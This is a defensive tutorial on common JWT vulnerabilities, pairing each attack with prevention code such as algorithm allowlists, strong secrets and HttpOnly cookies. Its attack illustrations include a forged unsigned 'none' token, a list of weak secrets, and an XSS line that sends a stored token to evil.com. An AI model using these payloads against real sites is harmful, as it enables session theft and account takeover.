JWTs are widely used for authentication, but improper implementation can lead to serious security vulnerabilities. This guide covers the most common JWT attacks and how to prevent them.
1. Algorithm Confusion Attack
One of the most dangerous JWT vulnerabilities occurs when an application doesn't properly verify the algorithm in the token header.
The Attack
An attacker changes the algorithm from RS256 (asymmetric) to HS256 (symmetric) and signs the token using the public key as the HMAC secret. If the server uses the same key material for both algorithms, the forged signature will be accepted.
// Attacker's token header (modified)
{
"alg": "HS256", // Changed from RS256
"typ": "JWT"
}
// Vulnerable verification
const decoded = jwt.verify(token, publicKey); // No algorithm check!Prevention
Always specify the expected algorithms explicitly:
// SECURE: Specify allowed algorithms
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'] // Only accept RS256
});2. Weak Secret Key
HS256 tokens signed with weak passwords are vulnerable to brute-force or dictionary attacks. Attackers can crack weak secrets in minutes or hours.
The Attack
Using tools like hashcat or jwt_tool, attackers can brute-force weak secrets:
Weak secrets cracked in seconds:
- "secret"
- "password123"
- "myapp"
- "12345678"
Prevention
Use cryptographically secure random secrets of at least 256 bits:
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');
// Result: 64-character hex string (256 bits of entropy)Generate a secure JWT secret using our free tool.
3. "none" Algorithm Attack
The "none" algorithm indicates an unsigned token. Some JWT libraries accept these by default, allowing attackers to forge tokens without any signature.
The Attack
// Attacker creates unsigned token
const header = btoa(JSON.stringify({alg: 'none', typ: 'JWT'}));
const payload = btoa(JSON.stringify({sub: 'admin', role: 'superuser'}));
const forgedToken = header + '.' + payload + '.'; // Empty signature
// Vulnerable: Library accepts 'none' algorithm
const decoded = jwt.verify(forgedToken, null); // Admin access granted!Prevention
// SECURE: Reject 'none' algorithm
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256', 'RS256'], // Explicit allowlist
ignoreExpiration: false
});
// Or configure globally
jwt.options.algorithms = ['HS256', 'RS256'];4. Token Leak via URL
JWTs sent in URL parameters can leak through browser history, server logs, and referrer headers.
The Problem
// BAD: Token in URL
GET /api/users?token=eyJhbGciOiJIUzI1NiIs...
// This leaks to:
// - Browser history
// - Server access logs
// - Analytics tools
// - Referrer headers when clicking external linksPrevention
Always send tokens in HTTP headers:
// GOOD: Token in Authorization header
fetch('/api/users', {
headers: {
'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...'
}
});5. Token Sidejacking (XSS)
JWTs stored in localStorage are accessible to JavaScript, making them vulnerable to cross-site scripting (XSS) attacks.
The Attack
// Attacker's XSS payload
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt_token'));
// Token is exfiltrated to attacker's serverPrevention
Store tokens in HttpOnly cookies (server sets the cookie):
// Server sets HttpOnly cookie
res.cookie('jwt', token, {
httpOnly: true, // Not accessible to JavaScript
secure: true, // Only sent over HTTPS
sameSite: 'strict', // CSRF protection
maxAge: 3600000 // 1 hour
});6. Missing Expiration Validation
Tokens without proper expiration checking remain valid indefinitely.
The Attack
Stolen tokens can be used indefinitely if expiration isn't enforced.
Prevention
// Always include exp claim
const token = jwt.sign(payload, secret, {
expiresIn: '1h' // Token expires in 1 hour
});
// Always verify expiration
const decoded = jwt.verify(token, secret, {
ignoreExpiration: false // Default, but explicit is better
});7. Information Disclosure in Payload
JWT payloads are Base64-encoded, not encrypted. Anyone can decode them.
The Problem
// BAD: Sensitive data in payload
const payload = {
sub: '123',
email: 'user@example.com',
ssn: '123-45-6789', // NO!
password_hash: '...', // NO!
credit_card: '4111...' // NO!
};Prevention
Only include non-sensitive identifiers:
// GOOD: Minimal payload
const payload = {
sub: '123',
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
};For sensitive data, use JWE (JSON Web Encryption) or fetch from your API.
Vulnerability Checklist
| Vulnerability | Check | Status |
|---|---|---|
| Algorithm confusion | Explicit algorithm allowlist in verify() | ☑️ |
| Weak secret | 256+ bit random secret | ☑️ |
| "none" algorithm | Reject unsigned tokens | ☑️ |
| Token in URL | Use Authorization header | ☑️ |
| XSS sidejacking | HttpOnly cookies | ☑️ |
| No expiration | Always set and verify exp | ☑️ |
| Sensitive payload | Only include user ID | ☑️ |
Testing Your Implementation
Use these tools to test your JWT implementation:
- JWT Validator - Decode and analyze tokens
- JWT Fuzzer - Test for vulnerabilities
- JWT Encoder - Create test tokens
Summary
JWT security depends on proper implementation. Key takeaways:
- Always specify allowed algorithms when verifying
- Use strong, randomly-generated secrets
- Never use "none" algorithm
- Send tokens in headers, not URLs
- Store tokens in HttpOnly cookies
- Always set and verify expiration
- Keep payloads minimal